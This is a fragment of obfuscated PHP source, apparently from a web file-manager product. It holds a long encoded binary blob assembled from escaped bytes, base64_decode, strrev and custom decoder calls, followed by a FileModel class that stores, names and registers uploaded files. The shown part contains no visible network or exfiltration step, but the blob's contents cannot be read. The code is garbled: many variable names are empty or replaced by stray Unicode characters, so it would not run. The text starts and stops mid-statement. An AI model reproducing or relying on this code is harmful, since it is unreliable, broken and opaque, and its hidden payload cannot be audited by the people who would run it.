3\374\222"."\55\373\176\164\247\273\22\265\342\137\241\322\304\225\347\357\335\175\277\253\122\207\231\50\245\62\315\222\261\365\211\213\316\37\337\176\55\377\310\336\235\133\250\362\271\253\12\327\174\343\345\151"."\373\345\345\23\14\252\103\246\156\41\132\332\256\331\51\330\310\373\266\375\34\365\207\316\230\274\162\343\73\316\333\167\323\306\175\333\56\200\225\270\172\307\370\45\267\115\154\273\145\337\315\333"."\171\263\0\125\16\205\133\334\300\135\233\366\337\177\356\304\125\367\363\202\170\333\247\25\121\206\100\24\55\203\25\355\311\7\367\75\364\275\175\273\257\307\100\262\171\323\276\115\17\214\137\177"."\xe7\xf8\xd\x67\xf1\xcf\x8e\xef\xdc\x29\x66\x39\xe6\x27\xfe\xc5\x2a\x20\xdc\xd3\x70\x3a\xa0\xdc\x7e\xa1\x93\x5d\x28\x49\xae\xf8\x64\x24\x87\x19\x2f\xae\xc1\x89\x25\x50\xd4\xe1\x2\xe3\xa7\x88\x6f\x4\x70\xce".base64_decode('08Q2LZrHfLOZhrlfV4XQZ1Vj1ak16Le2ylOFTxckjhEoTiD9qGo8tYYEasGi0hjQDsm2sg==')."\330\170\40\227\135\214\260\207\164\157\271\230\220\42\114\350\32\374\15\176\106\374\26\257\305\137\24\56\265\272\70\315\21\256\13\50\365\241\276\120\330\345\146\207\156\17\233\105\131\253\271\201"."\275\34\312\110\264\43\147\1\25\240\336\0\204\120\13\100\217\252\22\136\262\245\34\350\240\102\37\325\33\166\24\377\331\335\343\347\336\363\312\125\333\334\145\251\324\4\312\142\26\255\314\167"."\44\175\235\61\376\275\253\313\277\107\312\73\277\306\12\217\157\274\176\337\345\256\222\114\177\126\221\304\143\242\2\201\176\27\36\341\264\101\256\102\341\375\177\262\213\250\260\262\21\213\355\151"."\302\112\157\127\141\264\224\367\142\361\225\67\41\333\336\164\271\25\252\163\226\307\2\50\147\171\231\147\110\11\332\233\23\101\352\356\250\121\221\235\221\111\46\304\211\160\223\22\67\246\321\4"."\x69\x98\x9d\x60\x49\x82\xb5\xe8\x17\x6f\x51\x30\x87\xa0\x3a\x39\x84\x25\xae\xfe\x62\x8d\x14\x2f\x62\xf3\xf1\x1e\x43\x1b\xd7\x36\x24\x47\xa\x72\x11\xa7\x77\x2b\xb7\xcf\x2b\xf7\x2c\x90\x2a\x58\x1a\xea\x95\xfd"."\x6d\x8d\xa0\x73\x18\xce\xc6\x5e\x54\xbc\x58\xb6\xea\x35\xd2\x93\xe5\x8\xc4\x51\xb1\xab\x29\x70\x5e\x50\xa9\x48\x57\xc9\x48\xbb\x3f\x49\x34\x6f\xbc\xa5\x12\xfb\x60\xc5\x46\xe5\x53\x22\x2b\x40\x6\x11\xe1\xed".base64_decode('yf44sDDNy68I3e4+xMlaK3dVsiqXVhpmNs6e38heFU5jikOlAnsMgILMlckUfz/DNcJbFQ==')."\33\33\136\160\311\351\213\43\131\114\43\367\106\301\220\224\243\234\350\255\303\327\32\14\224\12\166\44\57\65\344\142\207\242\50\254\116\247\162\157\76\25\260\65\72\242\63\276\13\270\120\311"."\163\45\137\220\1\26\50\362\362\232\330\42\175\331\101\61\22\202\137\0\302\7\121\107\115\161\152\42\374\252\204\31\122\231\122\176\260\111\312\124\154\323\124\162\132\176\164\12\115\234\152\65"."\116\265\26\340\17\65\341\27\37\326\124\346\270\111\30\240\306\264\112\230\26\245\206\261\40\207\136\143\371\260\3\66\37\46\204\361\22\224\352\44\150\36\10\37\165\177\5\31\321\256\326\110"."\207\244\365\47\45\250\301\120\207\32\350\354\254\230\1\53\101\205\313\130\145\306\267\106\362\300\111\103\13\321\211\114\111\341\47\104\115\125\70\265\112\261\212\51\146\206\273\312\17\112\144\244"."\x80\x60\x8c\x16\x1a\x50\xa5\x1a\x57\x51\xfa\x11\x98\x78\x49\x88\x66\x57\x2f\x5a\xe8\x37\xa0\xa6\xcf\x7f\xa\x46\xdb\x7e\xac\x3e\x97\x9f\x86\x17\x51\xd6\xe6\x21\xa9\x2d\xc2\xb6\x98\xa2\x2c\xd4\x14\x3a\x5d\x4d".base64_decode('1eSqpFrJINLOdYcXuStzj2kL/ZqciTdQ3GTHRn5UH+KmNCvekgUk2/zEuVFQyy8vr4Ib9w==').base64_decode('peSsbvp8rFdePvJwq7y2nwiF/EJGoVLPopXvGPnVWgXAwHowCK6ZAoKWGsSQJcgAdAMyOg==')."\xb1\xc4\x81\x66\x38\xbc\x91\xd8\x92\x42\x53\x9\xbf\x66\x24\x17\x35\x45\xe1\xac\x6d\xdd\x3a\xda\x10\xf6\x52\xb3\x61\x43\x79\x1a\xa8\x48\xbb\xb3\x2\x5\xc3\x9d\x84\x21\xc8\x9d\x86\x25\x3f\x22\xd\xd1\x33\xe7"."\147\50\364\312\205\104\12\53\103\177\105\235\150\107\253\210\320\63\273\43\263\233\51\67\221\130\117\167\265\157\372\206\15\176\203\51\22\62\165\45\126\327\307\113\323\170\217\317\131\36\215\4".base64_decode('pp4XhAR3ScqrLoVNeLh/unhzyRUGFaxF2NS0qJuzUL0sTyUCE3ntGAtq1M9jQIHOiMkVPA==')."\30\354\20\114\66\337\27\24\323\370\210\350\56\340\64\364\275\130\370\263\243\363\54\207\3\205\202\3\245\260\10\276\265\312\32\175\176\216\7\350\115\226\57\45\36\65\262\42\4\13\271\322".base64_decode('sf6fKwP7OybJQwhNmkWOt3g6aosnAphj3CKhEp690EoVjYLtwGvUjXQV8Yq2RhvSaJEqBQ==')."\xc4\x72\x4d\x55\xc4\xb7\x45\x15\xc2\x63\x34\x87\x21\x33\xde\xc1\x85\xf8\x6b\x88\xef\xcd\x36\x55\x91\x41\x58\x19\x5d\x47\xf5\x9\xae\xaa\xf4\x11\x54\xb1\x4a\x61\xd8\x34\xa7\xf1\x79\x2c\xda\x26\x22\x94\xfc\xf9".strrev('s9Xcv^<ZV[51f'."\r".'I=r@{Êx')."\145\151\32\67\334\140\321\347\241\342\320\305\336\304\161\165\41\126\202\263\16\176\110\1\150\50\226\362\171\256\277\211\341\225\323\267\246\312\177\272\311\25\247\236\356\235\44\137\351\326\330\5"."\50\140\127\172\243\233\310\224\154\101\142\261\363\214\44\176\370\156\101\262\144\172\24\33\76\325\323\276\156\372\120\277\251\216\275\210\142\332\242\342\311\44\53\51\347\50\230\64\364\362\131\107".strrev('@#T$hĀ Տ/T9յ5=g|jS').base64_decode('G+b66sRzQMMSZoRpOCibH8Cz6nMMq8LU0EuTJNcq1fMOUSud0qzJjMw21NXVeevq0V/2TA==')."\x82\x99\xb6\x6c\x64\x76\x35\xa4\x22\x75\x75\x8d\xe4\x2f\xcd\x20\xbe\xd3\x0\x4\x9d\x39\x8\x25\x32\x5c\xe\x5\x86\x75\x66\xaf\x7\x68\x27\x3a\x6\x97\x18\xb3\xd9\x1d\xc4\xef\x3d\x15\xdc\x35\x58\x16\xa1\x15"."\213\240\217\330\176\145\150\325\341\223\123\41\27\370\20\323\335\223\300\65\43\0\236\231\350\237\32\364\146\244\22\165\144\200\114\12\364\227\77\37\106\305\304\256\131\100\137\156\67\361\116\205".base64_decode('8+lu+WM+Nrk0URiz97IMr+xQBipRRCcu/RxdQ3WcRmVxCuJsUnycOEESw2IGVjKUi6Py3Q==')."\x1e\xc9\xe6\x6f\x70\x49\x2c\xcb\xcd\x82\xe0\x68\x7\x6f\x89\xfa\x2d\xa2\xae\xe6\x61\xe\x2b\xec\xc2\x8c\x39\xac\xa\xde\x4\x47\x97\xf2\x18\x99\x52\x7c\x94\x64\x60\x98\x96\xde\x49\xe3\x79\x65\x34\x49\x2a\xce"."\x35\xd0\x84\xfa\xe\x68\x23\x11\xb\x18\x83\x86\xd3\x16\x87\x2a\x55\x95\xe7\x76\x1\x2e\xc8\x46\x92\x74\xd6\xc4\xd\x21\xfc\x15\xe0\xde\x9b\xa8\x2\x32\xeb\x9b\x2\x18\x85\x46\x89\x69\x7b\xea\x9\x98\x8\x67"."\x1a\xf\x2f\x5b\x5c\xdb\xbd\xb0\x64\x8d\x1c\xb7\x16\x6e\xb5\x3f\x16\x93\x56\x8a\x5d\x64\x25\xbe\x40\x33\x8f\xa5\x84\x59\x2\xbd\x82\xb\x72\x8b\xb2\x52\x3\xee\x2c\x57\x9d\x0\xbd\xff\x2a\xab\x0\xe9\xe5\xa5"."\xc9\x35\x61\x85\xd2\x38\xdd\x55\x9a\xd8\x8e\xd\x72\x13\xd9\xb2\x41\x59\x2a\x57\x92\x34\xc0\x2c\x70\xea\x21\xd4\x6f\x58\x1b\x43\xd2\x29\xd3\x57\x28\x9a\x3\x68\xd5\x2d\x79\xd2\x50\x7a\x67\xe5\x64\x5e\xbc\xbc"."\x64\x85\x42\xbc\xf7\x72\x39\x39\x11\x5f\x48\x32\x17\xe3\x0\xce\xc2\xec\x80\x96\xe6\xc4\x51\x2a\x9a\x10\xa6\xc2\x45\xa2\x73\x37\x4b\x19\x41\xee\x64\x4d\x4e\xc4\xa7\x56\x59\xe1\x8a\x9c\x2a\x9c\x6d\xe0\xe3\xb0"."\x33\x85\xf7\xec\x73\x80\x8e\x89\x31\x6c\xf0\x3f\x2f\xeb\x21\xd3\x62\x2\x23\x61\x11\x93\xec\x49\x52\x75\x80\x9\x83\x55\xa6\xdf\x85\x67\x48\x68\x52\x38\xd3\x69\x1a\x15\x34\x38\x6e\x79\x93\x4\xd1\x65\xf5\x24"."\x74\x7\x50\x21\xd9\x54\xb8\x81\x28\xf3\x90\x9c\x70\xd8\x5f\x7\x30\x6d\x64\xbc\x88\x5c\xcd\x99\xf7\xf2\x79\xdf\x63\x81\xcb\x58\x29\x3c\xad\xdc\xa7\xa7\x7c\x9f\x86\xa7\x54\x95\x65\x40\x78\x47\xb7\x71\x8f\xeb".base64_decode('FQDRCWxlUEXoNm6gkaNCKYZbZ1eZ6JRsUYmmBycr1HO3gv2RT3GuT3kFcHVmIu4Rm6eWKw==').base64_decode('4ba6XChqmQMj8r5S1o3ppipTfQ2gNzuV+Tmh+FioSfhh2N1oWL3oqCOoCSxIN8XGrE3cZQ==')."\x8\xa5\xd9\xfa\x28\x4e\xea\x2a\xd1\xa\x45\x6e\x8\x51\xdd\x64\x6\x8b\x6f\x7a\x15\xd2\xcd\x5\xc4\x4b\x46\x85\x5c\x6c\x58\x83\x7d\x8d\x9b\xea\x6\xcc\x8f\xca\x98\x36\x3f\x1e\xe3\xe6\x3\x69\x89\x7c\x46\x65"._kodDe('LibumzkHaJ55JCoU9PEnGKz22qzb6rZkNnkt9Ye02XreJaphU3n9MZN5QQLiX6rCI4y9+CA=')."\x8d\x52\x12\x14\x8\xf8\xe5\xab\xcf\x63\x81\x73\x5\x1c\x25\x24\x45\xc4\xa\xfd\x83\x56\x79\x9b\xb8\x7\x79\xa1\xd0\xa\xc\x4c\x51\x4f\x99\xc5\x34\x26\x88\x92\xbd\x9a\xbc\x1d\xd7\x7\xe4\x28\x51\x46\x60\xbb"."\101\30\162\227\233\300\46\301\44\264\203\167\141\40\145\227\144\3\143\222\257\7\24\223\174\172\110\214\250\267\136\341\34\254\112\133\246\221\31\122\6\51\137\211\231\165\111\143\245\347\151\104"."\62\225\50\365\361\273\145\27\213\311\136\274\51\62\7\307\236\260\341\6\210\215\47\74\2\113\316\103\315\142\33\353\142\144\162\25\362\315\262\52\64\17\63\121\342\255\233\234\143\141\147\35"."\135\154\25\53\345\124\370\24\311\222\146\64\305\40\15\166\371\52\61\111\220\61\252\63\125\154\157\175\203\167\146\75\15\313\357\337\330\341\14\350\10\332\130\22\30\340\343\55\103\143\240\310".base64_decode('DOVEGVO6oSdWlYT9GGIoiq8nsSjFY0WJlxC+7onJJRmtCwUkqvuMC3RVyqczhLNDDm11Vw==')."\1\264\77\234\371\340\266\103\164\206\132\175\62\35\332\203\256\106\300\67\214\354\230\204\324\22\343\20\52\375\50\311\244\316\101\244\211\21\212\124\324\30\25\173\263\300\221\234\110\116\232\74"."\261\134\31\13\103\45\64\111\15\5\300\211\267\246\26\33\12\160\110\33\333\107\371\163\156\254\301\210\211\64\327\121\267\344\10\313\345\300\151\71\42\124\143\323\121\233\47\361\122\303\72\173"."\xf3\xcf\x4e\xea\x9d\x6d\x9d\x7e\x9e\xd4\xcc\xb7\x27\x15\x94\x8\xcb\x77\x41\xa6\x16\xa9\x8f\xe8\x70\xc0\x1b\xce\x19\x29\x25\x1a\x6b\x8d\x4\x3\xd1\x50\x24\xb1\x4c\x19\xc0\xb7\xaa\x42\x6d\x10\x75\x57\x25\xdb"."\x56\xb5\x84\x3\x1c\xe2\xf1\xc7\xb9\xc1\x89\xec\x98\x2e\x7\x83\xf5\x3e\xee\x7d\x6\x7\xbd\x7d\xe8\x1c\xe1\x4d\xf3\xb3\x96\x25\x4e\x55\x64\x84\xd0\x98\x70\xd5\xe7\x6c\x96\x42\xa5\x5e\x2c\x6b\x31\x8f\x9f\xe6"."\145\313\352\140\211\170\205\322\131\41\377\225\12\27\212\172\171\371\121\35\253\57\112\75\226\52\224\52\364\6\312\127\376\2\161\31\44\227\106\354\221\236\237\254\363\106\176\310\260\14\201\16"."\130\215\121\271\365\100\250\75\322\241\6\242\321\330\12\207\326\257\270\13\50\162\101\112\132\166\337\44\255\214\130\4\372\365\162\263\213\140\326\116\166\215\341\22\256\320\345\223\355\167\26\330".base64_decode('BRa4leXuXGhUcq9WKGqGpUsJ1BPYdHgJp2WzDmep2X4pWnLS24qfUukHWBphdCcvEI+0tg==').base64_decode('Jf/bXTXSwhafkWZqZfy9M/X0EpQd67JvCn9C5Sn/Xfd0HnEJqBJbZswPpkmOTcDT07RITA==')."\45\102\161\125\174\2\161\61\305\321\202\174\13\353\117\103\13\330\6\151\230\335\370\341\210\70\267\340\122\320\10\376\12\75\315\242\103\72\26\50\262\23\16\23\316\41\64\2\23\356\120\245"."\x74\xf9\xd7\x73\x2b\xbf\x3b\xbc\xe7\x95\x7d\x83\x38\x73\xa1\x79\xe4\x66\xa\x95\xec\x15\x63\x42\x31\xee\xbc\x49\x54\x75\xe7\x54\xe8\x0\xca\x56\x84\xc8\x8b\x17\x50\x9a\x94\x3a\xea\xea\x91\x3b\xe6\x51\x16\x32"."\xab\xe\xe2\x3\xc4\x72\x60\x38\x57\xb0\x1d\x27\xfd\x36\xf9\x21\x8c\xb4\x24\x34\x1\xcb\x7f\x8a\x5c\x80\x47\xd7\x9c\x45\xf1\xc2\x36\xb1\xc5\x54\x65\xda\x49\xf0\xb0\x38\xff\x61\x2d\x4b\x33\x37\x5a\x96\xe0\x90"."\x8e\x45\xd9\x68\xb8\xbe\x33\x76\x66\x94\xef\x37\xe5\x59\x27\xf8\x1c\xbf\x85\xa2\x8e\x5c\xa9\x20\xc2\x83\xce\x23\xba\x5d\xee\x12\x8e\x56\xff\xbf\xa9\x48\x33\x13\x92\x41\x59\x67\x23\xe5\x1d\xb2\xdc\xf4\x53\xf0"."\162\330\333\135\306\34\166\172\167\305\51\156\377\166\16\317\166\322\16\43\66\12\144\137\174\316\112\236\62\247\122\12\161\314\255\40\144\4\153\217\365\164\330\101\227\24\226\76\75\225\376\364"."\xc0\x2f\xa3\x86\xee\x4e\x50\x3c\x7\x9f\xac\xe5\xa0\x18\xcc\x18\xd9\x74\x91\x6b\x60\x89\x84\x76\x5d\x48\x1f\x48\x2d\x84\x58\xa\x1a\x73\x40\x4e\x3c\x5f\x86\x18\x4a\x7\x3f\x56\x95\x9c\x1e\x62\x7b\xa1\x4e\x77"."\x5c\xc2\xcb\x99\x20\xbd\x4e\xaf\x4f\xfc\x8e\xdf\x12\x5b\xc8\xb2\x1d\x7e\xc6\x92\x66\x52\x1b\xf0\x50\x50\xc5\x48\x51\xc4\x9a\x47\xe5\xb0\xac\x83\x4f\x46\x81\x32\x99\x84\x30\xcd\xd7\x7b\x91\x54\x80\xb9\xe\x4d"."\173\210\137\113\212\27\335\216\262\244\375\311\321\257\134\173\40\153\366\151\131\120\17\164\274\234\53\242\43\232\316\110\210\243\30\115\362\153\205\202\270\17\221\51\56\372\337\361\50\32\362\272".strrev('avI0Yv~1MxtԎ2)e}&9R1*m')."\xe5\xec\x8\x1f\xf1\x33\xb6\xbf\xfc\x82\x1d\x6b\x96\x1\x46\xc1\x9a\x3c\xba\x50\x30\x21\xd6\x3a\xe4\xd3\x1d\x14\x50\x16\x2a\x2\x34\x1c\x1b\x19\x83\x12\x62\xb1\xa9\xe7\x50\x82\x29\x64\x8c\xf6\x39\xa9\x92\x13"."\67\360\120\132\311\47\33\205\174\362\23\322\373\371\111\11\307\5\157\40\33\71\22\372\66\156\347\241\345\216\120\231\323\123\266\165\300\343\151\5\67\246\223\172\101\365\210\147\324\237\347\352"."\115\74\332\165\372\265\307\343\340\234\5\77\214\224\235\147\334\107\31\76\255\256\12\161\367\44\47\315\162\241\263\120\101\160\370\150\225\106\15\250\255\334\317\253\64\15\322\270\113\305\254\207"."\150\143\170\230\222\143\105\127\261\16\307\163\356\5\255\340\154\366\13\33\204\107\16\344\44\227\166\142\275\306\205\175\105\166\155\355\56\146\70\140\27\21\140\361\222\217\232\132\56\43\20\253"."\x72\xe9\x86\x99\xb3\xe7\xcb\x12\x13\xb1\x84\xe2\x32\x97\xb9\x42\xa0\x3f\xc0\xe3\x8\xa0\x50\x9c\x60\xa8\x30\xfb\xce\xf2\xee\x27\x99\xce\x57\x33\xe5\x7e\x89\x5d\x14\xe0\xbf\xb7\x61\xc4\xe1\x83\x16\x95\x14\x71"."\313\75\270\227\315\0\201\123\111\35\114\42\210\56\275\37\23\253\342\130\142\327\121\22\50\274\21\73\277\105\331\207\12\343\220\350\236\330\54\324\263\254\231\305\7\367\34\276\20\260\213\232".base64_decode('8zxa6dhFZoKd8bBMV8ScmlEgohHZ0rlMbtE23fIlXB3TRSIrjeWzQLaxjQmx2yRM9N9YQA==').strrev('`\'bn%8 ^٫ϙ%^'."\n".'g;81v')."\135\315\243\152\242\215\136\217\62\131\241\162\166\117\162\66\54\354\32\112\214\36\256\315\136\210\117\42\100\40\17\224\235\54\223\354\13\225\274\356\25\6\170\310\326\165\154\143\311\234\272\374"."\72\226\64\44\357\217\362\246\45\317\262\102\354\104\344\124\60\42\330\334\104\203\202\164\63\320\312\337\126\153\222\176\237\123\26\6\314\235\344\26\35\115\237\344\71\334\224\303\222\307\142\104"."\x13\x62\xec\x7d\x4\xea\x8e\xe3\x18\x8b\xe2\x21\x97\x57\x79\x82\xbf\xdc\xae\xe6\xd9\x9c\x11\xa4\x21\xf0\xa1\xf4\x66\xdf\x71\x54\xe2\xce\x36\x1d\x47\x27\xcb\xed\x71\x17\xb1\x82\xe\xf7\x1f\xe9\x32\x27\xe5\x80"."\x38\xc9\xb\x39\xfa\x35\x89\xf4\xa\x2a\x2b\x42\x1d\xa5\x9c\x88\x48\x12\x65\x72\xde\xe2\x99\xe\xd3\x6\xd8\x7a\x9f\xb\x47\x30\x83\x9\x96\xcb\x11\x37\xb5\xf\x4e\xc3\xec\x58\xf0\x3f\x76\x36\xfb\xff\xca\xc7".base64_decode('7GzuOcbhm74VmHPoLb5g5bIOKnd2jcNJXg8DKEKT7xsSSIXEuZY4s+DIDDtq7P5Ny2YlIg==')."\134\371\70\123\346\1\34\1\337\40\367\32\135\51\342\176\377\353\366\6\336\115\304\276\314\321\167\157\245\202\2\57\361\123\123\5\70\246\111\214\131\26\70\51\157\244\6\53\134\236\23\55".base64_decode('Wac9f4k5KSsm+oB4GGYa089CKXxcJGZgYPbkp/qxAjtY1gIV6F3CsBUxDwJIS0ZUjqQy9A==').base64_decode('lnSsiSNRnm6Bg3xsOR012l3OjWkhS55bx31BuS5FeW2OB+QqWDnfKRrDC4w75q3zuhLqvQ==')."\xae\xe6\xb8\x7f\x67\x27\xac\x3b\x1c\xe\x53\xfd\x13\xb4\x41\xe2\x58\x4\xc2\x44\x61\xe4\xca\x89\xdc\x3d\x7b\xcb\xeb\x50\xb8\x4e\x88\x32\x93\xec\xac\xca\xfb\x9b\x77\x4a\x88\x3\x71\x48\x9e\xf\x86\x27\x3a\x8b"."\x26\x61\x14\x9d\xa9\x5c\x2c\x24\xe9\x4b\xa7\x24\x99\xab\x9b\xf7\xa3\xc9\x53\x7d\x65\x54\x8b\xa1\x4c\xc7\x4a\x61\x85\x3d\x71\xd5\x99\x8c\xc5\xc3\xea\x8a\x8\x36\x2b\x11\x39\x3d\xdc\xc5\xc\x22\x1b\x26\xf1\x17"."\xc2\x9a\xec\x6a\xaf\x21\x2f\xd3\x60\x3\xa0\x53\x4c\x8b\x29\x40\x49\x47\xc8\x4c\x12\x0\xb\xab\xbe\x76\xae\x10\xe4\x17\xb3\xce\xf7\xcd\xd2\x2b\x8\x66\x53\x4b\x16\x49\x3a\xb\xe3\xa7\x2c\xce\xbd\xb8\xa8\x52".base64_decode('sZRZtGSTmI5MzHaZKDfOztFdebSR9ZStpxVMwB08ffesupm9n9cKyuclZ31BSThcJGZ6mQ==')."\x6e\x2f\x2b\x53\xb1\x9e\x49\x6d\xe0\x54\xca\x43\xb0\x99\xb0\x1d\x40\x24\x9c\xcd\xb8\x9d\xcc\xb4\x38\xec\x4b\x35\x4a\x22\x52\x85\x58\xda\x2\xdf\x43\x93\xac\x4d\x87\x19\x14\xac\x85\x2b\xf\xa3\x86\xc9\x73\xf1"."\351\224\337\76\63\337\44\130\157\316\217\15\161\341\307\31\176\2\177\40\331\136\245\346\124\246\106\204\145\2\102\262\103\60\156\371\231\20\276\144\27\107\143\305\170\216\277\311\40\322\34\52"._kodDe('KmWUXbxPNEI0YobFwx9VaOE5yj0mpyYBsDwhs+vfwvJrqVrygICJiJxeQf8l3KIzC4OzJ/w=').base64_decode('SCSb3mEFhjRuacxdq8txkJUu61MEQ4TL72PFNbHEPbJq+CQsCLsrXcKoguZpQ4IXFmexdA==').base64_decode('ukUbqlA0rbstxaEUXpTw0pLdDPFQRh+Wvw7lxDsWR8HyVGFXQ6ov7uDEMHFapeETDOesLg==').base64_decode('2+3gQCWSqPslrtkinXux6o9QeaFD4eId8UmnlRBejK8ZKkNe0Xkdqa6TPJakMT7QlQWyJQ==')."\251\371\212\42\50\11\4\364\154\124\152\116\276\237\237\264\102\242\362\107\4\124\72\247\130\62\257\42\62\30\313\142\72\46\137\242\131\174\140\120\62\56\147\72\272\343\136\132\162\360\24\340"."\x4b\x13\x73\x44\x8c\x4f\xf3\x2\xce\x2c\x5a\x5e\x77\xf5\x5e\xae\xe0\x1e\x19\xad\xe1\xf0\xd3\x27\xa7\xf\x1b\x76\x2a\x23\x9d\x92\xcb\x33\xcb\xd3\x8b\x65\x93\xd\x1d\xa8\x3c\xe\x77\x6f\xd9\x5c\xbb\x65\x7\xa2"._kodDe('MKB/NuwtuKE3CzCRyMN4BFYXnBX8qHw6gZzvoTnLXlqgp0RMWis3GUmBR5364GoELpyDTh4=')."\x21\xb1\x91\x8a\x4e\x36\x9f\x15\xb\x97\x7f\xe\x20\xd1\x5d\x9a\x8\xaf\x2a\xf7\x42\xc8\x9c\x5c\xea\x16\x95\x7a\x51\xb1\xf0\xa4\xbd\x70\x97\x16\x3c\x7\x3e\x81\x56\xca\x71\xe8\x2c\x39\x29\x4a\x25\xbc\xcd\x72".base64_decode('KmBqioUmVWYSCj7lJEPkVVA3op/E3I9skrFCtqy7VFm7KV4Ry1hOtSNXujxBYDQcOGgAYA==').base64_decode('xIJljUGh1sledUx1kJJSfjBvcvKUFlq7mHMKFN3zXNaaE/TzJcl8e8VHJh4sGCoXwWQ1/g==').strrev('e'."\r".'H$\\YI(L*b%GH̶^#i)i3ѾhO').base64_decode('SeAOi15/B7FOBr/4JIbKKQmn2QmzaHtwXtIskN9m07aFNgmVCxE2G9Nhj6QshULilhN3ig==')."\134\237\21\260\45\30\213\4\341\42\36\13\134\22\72\315\45\170\316\21\301\327\162\74\42\223\131\270\220\157\51\271\124\6\104\302\240\231\356\63\107\230\71\104\4\127\322\44\211\213\73\315"."\315\133\12\266\10\100\121\126\375\42\346\104\54\77\315\361\203\103\42\57\151\3\374\217\372\326\24\6\34\325\251\17\107\256\270\375\171\55\200\360\136\64\101\275\221\20\111\52\274\121\113\44"."\x13\x65\x59\x9d\x81\x44\x62\x45\x2c\x1e\xa2\xce\x4b\xca\xb2\x49\x2d\x49\xc1\xae\x2c\xab\xb3\x2d\xd6\x31\x59\x5e\xb8\x3d\x10\x89\x96\xe5\x61\x5d\xbc\xe\x55\x18\xd6\xa4\x59\x91\x4e\xd2\x4b\x72\xf7\x3c\x59\x2f"."\x22\xc1\x65\xa2\x27\xe5\xf6\x4c\xd9\x5d\x59\x14\x9c\x52\x8a\x75\x91\xee\x8e\xa\x19\x93\x5d\x9\xb1\xf2\x9\x2d\xcb\x84\x41\xd2\xdd\x82\x9e\x13\x96\x57\x45\x1d\xa7\x8c\x4b\x5e\x7f\x8b\x99\x48\xe6\x1\xa7\xc7"."\100\227\152\54\3\154\150\10\153\326\165\100\333\361\2\244\142\247\57\34\77\160\76\137\176\337\53\124\75\174\16\225\20\51\235\354\47\202\240\44\70\225\151\77\111\230\136\161\262\344\173\207".base64_decode('8jsxkismA3dyqQmKm2vMPunOi5644L05TK+kSUnDjmxbG6ioGUHFyRhjCEHv/wEWcFJaWA==')."\271\0\0"."".base64_decode(''), 10, -8))); goto F確; cńLJ: class FileContentModel extends ModelBase { protected $tableName = "\x69\x6f\137\146\x69\x6c\145\x5f\x63\157\156\x74\x65\156\164\163"; protected $dataAuto = array(array("\x63\x72\145\141\164\145\124\151\155\145", "\164\x69\155\145", "\x69\156\163\x65\162\x74", "\x66\x75\x6e\143\164\x69\x6f\156")); } class FileModel extends ModelBase { protected $tableName = "\151\x6f\x5f\146\x69\154\145"; protected $tableMeta = array("\x74\x61\x62\x6c\x65\x4e\141\155\x65" => "\151\x6f\x5f\x66\151\x6c\145\x5f\x6d\145\x74\141", "\155\x65\164\x61\x46\x69\x65\154\144" => "\x66\151\x6c\x65\111\104"); public function fileInfo($ȑ) { $Ш =& $_SERVER[]; static $ = array(); if (!isset($[$ȑ])) { $Ͷ = $Ш[2028]; $¨ = Model($Ш[553])->field($Ͷ)->where(array($Ш[551] => $ȑ))->find(); $[$ȑ] = $¨; } return $[$ȑ]; } public function addFileByContent($ѵ˖ = '', $ = '') { $믜 =& $_SERVER[]; $ = TEMP_PATH . $믜[2029]; if (!is_dir($)) { mk_dir($); } $ = $ . $믜[2030] . rand_string(16); file_put_contents($, $ѵ˖); $ĵ = $this->addFile($, $, !0); if (file_exists($)) { @unlink($); } return $ĵ; } public function createFileName($ĵ, $ = false, $а = false) { $̓Ξ =& $_SERVER[]; $ = IO::init($̓Ξ[8]); $՞ = $this->makeFilePath($ĵ, $, $, $а); $ = $->pathFather($՞); static $ = false; $ѿ = $̓Ξ[2031] . md5($); if (!$ && !Cache::get($ѿ)) { $ = !0; $ޒ = IO::mkdir($); if (!IO::exist($ޒ . $̓Ξ[886])) { IO::mkfile($ޒ . $̓Ξ[886]); } Cache::set($ѿ, 1, 3600 * 2); } return $՞; } public function makeFilePath($, $߬, $Ƴ = false, $ = false) { $ڛ =& $_SERVER[]; $ = Model($ڛ[859])->get($ڛ[2032]); $ = KodIO::defaultIO() . date($ڛ[2033]); $͕ = $ . rand_string(5) . short_id(100); $ = str_replace($ڛ[8], $ڛ[11], KodIO::clear($)); $㠀 = $߬->ext($); if (!$) { $ = $ڛ[865]; } switch ($) { case $ڛ[2034]: if ($㠀) { $͕ = $͕ . $ڛ[10] . $㠀; } if ($㠀 == $ڛ[1970]) { $͕ .= $ڛ[1302]; } break; case $ڛ[2035]: $ = Model($ڛ[859])->get($ڛ[860]); $ٚ = substr(md5($ڛ[861] . $ . date($ڛ[838])), 0, 8); $ӕ = KodIO::defaultDriver(); $ = $ڛ[1333] . $ӕ[$ڛ[484]] . $ڛ[493] . date($ڛ[2036]) . $ٚ . $ڛ[8]; if ($㠀 == $ڛ[1970]) { $ .= $ڛ[1302]; } $ڋӜ = $ڛ[2037] . $ . $; CacheLock::lock($ڋӜ); $͕ = $ . $; if (IO::exist($ . $)) { $˟ = substr($, 0, strlen($) - strlen($㠀)); $̰ = $ ? substr($, 0, 5) : ($Ƴ ? substr($Ƴ, 0, 5) : rand_string(5)); $͕ = $ . $˟ . $̰; if ($㠀) { $͕ = $͕ . $ڛ[10] . $㠀; } } if (IO::isOsDriver($͕) && !IO::isUploadServer($͕)) { if (IO::exist($͕)) { return $͕; } $ߒ΍ = IO::setContent($͕, $ڛ[12]); if (!$ߒ΍) { show_json($ڛ[2038], !1); } } CacheLock::unlock($ڋӜ); break; case $ڛ[865]: break; default: break; } return $͕; } public function addFileByRemote($ٳ„, $, $ = array()) { $ =& $_SERVER[]; if (!IO::exist($ٳ„)) { return !1; } $ĥم = $[$[556]] ? $[$[556]] : $[12]; $ݲ = IO::hashMd5($ٳ„, $ĥم); $ = KodIO::defaultDriver(); $ꑩ = array($[626] => IO::size($ٳ„), $[2039] => 1, $[503] => $, $[898] => $[$[484]], $[504] => $ٳ„, $[2040] => $[$[681]] ? $[$[681]] : IO::hashSimple($ٳ„), $[2041] => $ݲ ? $ݲ : $ĥم); if ($Ǐ = $this->addFileCheckExist($ꑩ[$[681]], $ꑩ[$[556]], $ꑩ[$[89]])) { return $Ǐ; } return $this->addFileData($ꑩ); } private function addFileData($) { $IJ =& $_SERVER[]; if (!$) { return !1; } $[$IJ[89]] = intval($[$IJ[89]]); if (!$[$IJ[89]] && strlen($[$IJ[681]]) > 32) { $[$IJ[89]] = intval(substr($[$IJ[681]], 32)); } $ݓҋ = $this->add($); return $this->find($ݓҋ); } public function addFile($ϸ, $ᖥ, $ғ = false) { $ =& $_SERVER[]; $հ = IO::hashSimple($ϸ); $µ = IO::size($ϸ); $ = $µ <= 1024 * 1024 * 10 ? 